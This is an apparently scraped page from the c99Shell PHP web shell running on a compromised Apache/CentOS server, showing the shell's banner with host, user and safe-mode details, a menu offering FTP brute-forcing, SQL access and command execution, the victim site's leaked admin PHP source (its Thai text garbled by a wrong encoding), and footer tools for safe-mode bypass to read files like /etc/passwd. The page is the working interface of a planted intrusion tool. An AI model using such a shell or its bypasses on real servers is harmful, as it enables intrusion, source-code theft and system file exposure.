110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/mis/eassess/admin/ drwxr-xr-x Free 52.3 GB of 127.8 GB (40.92%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

<?php

        include_once "template.php";

        include_once "../class/clsFileUpdate.php";

        $oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

        $oFd = new FileUpdate($oCA);

        $num=$oFd->countnodir();

        if($num!=0){

                include("selectfile.php");

        }else{

        

                include_once "template.php";

                showHeader();

                

                include_once "../link/function.php";

                include_once "../class/clsFileUpdate.php";

                include_once "../class/clsFileUpdateTemp.php";

                include_once("../global0.php");

                

                openWindow();

                autotab();

                

                $oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

                $oFd = new FileUpdate($oCA);

                $oFd1=new FileUpdate($oCA);

                $oFdt=new FileUpdateTemp($oCA);

                $oFdt2=new FileUpdateTemp($oCA);





                $oFdt->RSFileUpdateTemp();

                while($oFdt->GetRecord()){

                    $oFdt2->SearchByKey($oFdt->fileId);

                    $oFdt2->GetRecord();

                    $oFdt2->Delete();

                }

 ?>

<meta http-equiv="Content-Type" content="text/html; charset=tis-620">

<link href="../source/style.css" rel="stylesheet" type="text/css">

<br><table width="740" border="0" align="center" cellpadding="0" cellspacing="0">

    <tr>

        <td><br><fieldset>

            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php?mm=1">НСѕаґ·в»ГбЎГБ</a> <img src="../picture/ico3.gif" align="absmiddle" border="0">НСѕаґ·в»ГбЎГБ</font></legend>

        <div align="center">

        <table width="740" border="0" align="center" cellpadding="0" cellspacing="0">

    <tr>

        <td>

<?

if($GLOBALS["SERVER_PATH"]==""){

$case_=1;

?>

            <form name="ee" method="post" action="addpathserver.php">

          <table align="center" width="47%" border="0">

            <tr>

              <td  align="center"> <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** ЎГШіТЎГНЎЄЧиНа¤ГЧиН§ Server аѕЧиН·УЎТГНСѕаґ·в»ГбЎГБ **</font> </td>

  </tr>

            <tr> 

              <td  align="center">

     <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">

                http://<input name="server_path" type="text" size="30" maxlength="100">

</font>

       </td>

  </tr>

    <tr align="center">

                  <td><input type="submit" name="addpath" value="єС№·ЦЎ" onClick='return checkaddpath();'>

                  <input type="hidden" name="method" value="addpath">

                  </td>

                  </tr>

</table></form>

<?

}else{

?>

<br>

<? if($GLOBALS["SERVER_PATH"]!=""){  

        list($pserver, $close) = split("/mis/version/admin/send.php", $GLOBALS["SERVER_PATH"]);

        list($phttp, $pserver) = split("http://", $pserver);

?>

         <table align="center" width="100%" border="0">

                <tr>

                    <td height="22" align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>ЄЧиНа¤ГЧиН§ 

                      Server :: </strong><? echo $pserver; ?><br><br>

                      <a href="#" class='box'  border="0" align="absmiddle" id=IMG3  style="CURSOR: hand" onClick="editpath('<? echo $pserver; ?>')">

                      [&nbsp;<img src="../picture/computer.gif" align="absmiddle" border="0"> бЎйдўЄЧиНа¤ГЧиН§ Server ]</a>

                      <br><br><a href="printfileupdate.php?sort_show=<? echo $sort_show; ?>" target="_blank">[&nbsp;<img src="../picture/search.gif" align="absmiddle" border="0"> µГЗЁКНєаЗНГмЄСи№»СЁЁШєС№ ]</a>

                      </font></td>

                  </tr>

                

            </table>

  <? } ?><br>

                  <form name="ff" method="post" action="showupdate.php">

                <table align="center" width="53%" border="0">

                  <tr> 

                    <td  align="center">

                       <input type="submit" name="update" value="НСѕаґ·в»ГбЎГБ"> 

                       <input type="button" name="back" value="ЎЕСєаБ№ЩЛЕСЎ" onClick="location.href = 'adminIndex.php?mm=1' ">

                      <input type="hidden" name="method" value="update"> 

                      <input type="hidden" name="case_" value="<? echo $case_; ?>"> 

                    </td>

                  </tr>

                </table>

                </form>

                <br>

    <? if($nofile=="1"){  ?>

    <table width="476" height="50" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#C7EBFE"><!--DWLayoutTable-->

    <tr align="center">

                  <td height="26" align="center" bgcolor="#C7EBFE"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong> 

                    ВС§дБиБХЎТГ»ГСє»ГШ§в»ГбЎГБўН§ГРєє»ГРаБФ№»ГРКФ·ёФАТѕЎТГаГХВ№ЎТГКН№ </strong></font></td>

                </tr>

    </table><br>

    <?    }else if($nofile =="3"){ ?>

    <table width="80%" height="50" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#C7EBFE"><!--DWLayoutTable-->

    <tr>

            <td height="26" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong><? echo $error; ?></strong></font><br><br></td>

          </tr>

    <tr align="center">

                  <td height="26" align="center" bgcolor="#C7EBFE"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong>

                    дБиКТБТГ¶µФґµиНЎСєа¤ГЧиН§ server дґй<br>ЎГШіТµГЗЁКНєЄЧиНа¤ГЧиН§ Server НХЎ¤ГСй§ </strong></font></td>

                </tr>

    </table> <br>

                <?    } ?>

                <?

     if($fileerror !="" || $nofile=="4"){ ?>

                <table width="476" height="50" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#C7EBFE"><!--DWLayoutTable-->

    <tr align="center">

                  <td height="26" align="center" bgcolor="#C7EBFE"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong> 

                    аЎФґ¤ЗТБјФґѕЕТґг№ЎТГКи§ўйНБЩЕ<br>ЎГШіТЎґ»ШиБНСѕаґ·в»ГбЎГБНХЎ¤ГСй§ </strong></font></td>

                </tr>

    </table>     

    <? } ?>

     <form name="hh" method="post" action="<?php echo $PHP_SELF; ?>">

        <table  width="100%" border="0" cellpadding="0" cellspacing="0" >

        <tr>

        <td width="75%" align="right">&nbsp;</td>

         <td width="25%"  height="26" align="right" background="../picture/bgBio4.gif">

        <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">

        

            <div align="right">аГХВ§ЕУґСєµТБ ::&nbsp;<select name="sort_show" onchange='return checksort();'>

                        <option value="0" <? if($sort_show=="0"){   echo "selected";  }?>>аЗЕТ·ХиНСѕаґ·</option>

                        <option value="1" <? if($sort_show=="1"){   echo "selected";  }?>>µСЗНСЎЙГ</option>

                      </select>&nbsp;</div></font></td>              

                      </tr>

                     

        <tr  align="center" bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_1"];?>">

        <td colspan="2"><font size="3" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ЎТГНСѕаґ·в»ГбЎГБ</strong></font></td>

        </tr>

        <tr><td colspan="2">

          <table width="100%" border="1" cellspacing="0" cellpadding="0" bordercolor="<?php echo $GLOBALS["COLOR_BORDER_TABLE_1"];?>" valign="top">

            <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_2"];?>"  > 

              <td width="10%"   height="17" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ЗС№·ХиНСѕаґ·</strong></font></td>

              <td width="10%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>аЗЕТНСѕаґ·</strong></font></td>

              <td width="35%"   align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ЄЧиНдїЕм (Version)</strong></font></td>

              <td width="3%"   align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>&nbsp;</strong>

                </font></td>

                <td width="7%"   align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>аЗНГмЄСи№<br>»СЁЁШєС№</strong>

                </font></td>

              <td width="23%"   align="center" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>Path</strong> 

                </font></td>

              <td width="12%"  align="center" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ГТВЕРаНХВґ<br>ЎТГа»ЕХиВ№б»Е§</strong> 

                </font></td>

            </tr>

            <?    $i=0;

            if($sort_show=="0" || $sort_show==""){

          $oFd->RSFileUpdategroupname();

        }else{

        $oFd->RSFileUpdategroupnameordertext();

        }

        while($oFd->GetRecord() && $i!="25"){ ?>

        <tr bgcolor="#EBEBEB" >

        <td colspan="7" height="22" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong><? echo $oFd->filename1; ?></strong></font></td>

        </tr>

        <tr>

              <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? //echo "($i)"; ?><? echo abbreDate2($oFd->updateDate); ?></font></td>

              <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo $oFd->updatetime; ?></font></td>

              <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? if($oFd->filename2==""){ echo $oFd->filename1; }else{ echo $oFd->filename2; }?></font></td>

              <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 

                <? if($oFd->flagfile=="1"){ echo "C"; }else if($oFd->flagfile=="2"){ echo "E"; }else{  echo "D";  }  ?>

                </font></td>

                <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 

                <? if($oFd->flaguse=="Y"){ ?>

                    <img src="../picture/apply.gif"  align="absmiddle">

                <? }else if($oFd->flaguse=="N"){  ?>

                    <img src="../picture/delete.gif"  align="absmiddle">

                <? }?>

                </font></td>

              <td align="left" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo $oFd->path;  ?> 

                </font></td>

              <td align="left" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">&nbsp; 

                <? if($oFd->detail==""){  echo "-&nbsp;(ЕєдїЕм)"; }else{  echo $oFd->detail;  } ?> </font>

               </td>

            </tr>

            <? 

            $oFd1->SearchBynotfileId($oFd->fileId,$oFd->filename1,$oFd->path);

            while($oFd1->GetRecord()){

                        $i++;

             ?>

             <tr>

             <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? //echo "($i)"; ?><? echo abbreDate2($oFd1->updateDate); ?></font></td>

              <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo $oFd1->updatetime; ?></font></td>

              <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? if($oFd1->filename2==""){ echo $oFd1->filename1; }else{ echo $oFd1->filename2; }?></font></td>

              <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 

                <? if($oFd1->flagfile=="1"){ echo "C"; }else if($oFd1->flagfile=="2"){ echo "E"; }else{  echo "D";  }  ?>

                </font></td>

                <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 

                <? if($oFd1->flaguse=="Y"){ ?>

                    <img src="../picture/apply.gif"  align="absmiddle">

                <? }else if($oFd1->flaguse=="N"){  ?>

                    <img src="../picture/delete.gif"  align="absmiddle">

                <? }?>

                </font></td>

              <td align="left" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo $oFd1->path;  ?> 

                </font></td>

              <td align="left" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">&nbsp; 

                <? if($oFd1->detail==""){  echo "-&nbsp;(ЕєдїЕм)"; }else{  echo $oFd1->detail;  } ?> </font>

               </td>

            </tr>

            <? }?>

            <? $i++; 

             } 

        

                if($i == 0){

?>

            <tr> 

              <td colspan="8" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** 

                дБи»ГТЎЇГТВЎТГг№°Т№ўйНБЩЕ **</font></td>

            </tr>

            <?php

                        }else{  ?>

            <tr> 

              <td colspan="8" align="right"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 

                <a href="printallupdate.php?sort_show=<? echo $sort_show; ?>" target="_blank">[&nbsp;<img src="../picture/search.gif" align="absmiddle" border="0">&nbsp;ґЩ»ГРЗСµФЎТГНСѕаґ·в»ГбЎГБ·Сй§ЛБґ&nbsp;]</a></font></td>

            </tr>

            <? }?>

          </table></td></tr></table>

          

          </form><? } ?>

       

        

            </td>

    </tr>

</table></div>

            </fieldset>

            <?

if($GLOBALS["SERVER_PATH"]!=""){

?>

            <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"> <b>ЛБТВаЛµШ 

      : </b>&nbsp;<br>

      »ГРаА·ўН§дїЕм :: C ЛБТВ¶Ц§дїЕм·ХиКГйТ§гЛБи<br>

      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

      E ЛБТВ¶Ц§дїЕм·ХибЎйдў<br>

      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

      D ЛБТВ¶Ц§дїЕм·Хи¶ЩЎЕє<br> 

      аЗНГмЄСи№»СЁЁШєС№ ::<img src="../picture/apply.gif"  align="absmiddle">ЛБТВ¶Ц§дїЕмдґй¶ЩЎ№Уд»гЄй§Т№бЕйЗ<br>

      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

      <img src="../picture/delete.gif"  align="absmiddle"> ЛБТВ¶Ц§дїЕмдБидґй¶ЩЎ№Уд»гЄй§Т№</font><? } ?>

            </td></tr></table>

<?php

showFooter();

?>

  <script>

  function checkaddpath(){

            if(document.ee.server_path.value==""){

                alert("ЎГШіТЎГНЎЄЧиНа¤ГЧиН§ Server аѕЧиН·УЎТГНСѕаґ·в»ГбЎГБ !");

                return false;

            }

            document.ee.submit();        

}



function editpath(pserver){

            FileName = "editpathserver.php?pserver=<?  echo $pserver; ?>";

            var w=400;  

            var h=150;

            strOption = "scrollbars=yes,left=400,top=100,width=" + w + ",height=" + h;

            window.open(FileName,"",strOption);

}

function checksort(){

    document.hh.submit();

}

</script>

<? } ?>
:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:
:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/
:: Command execute ::
Enter:	Select: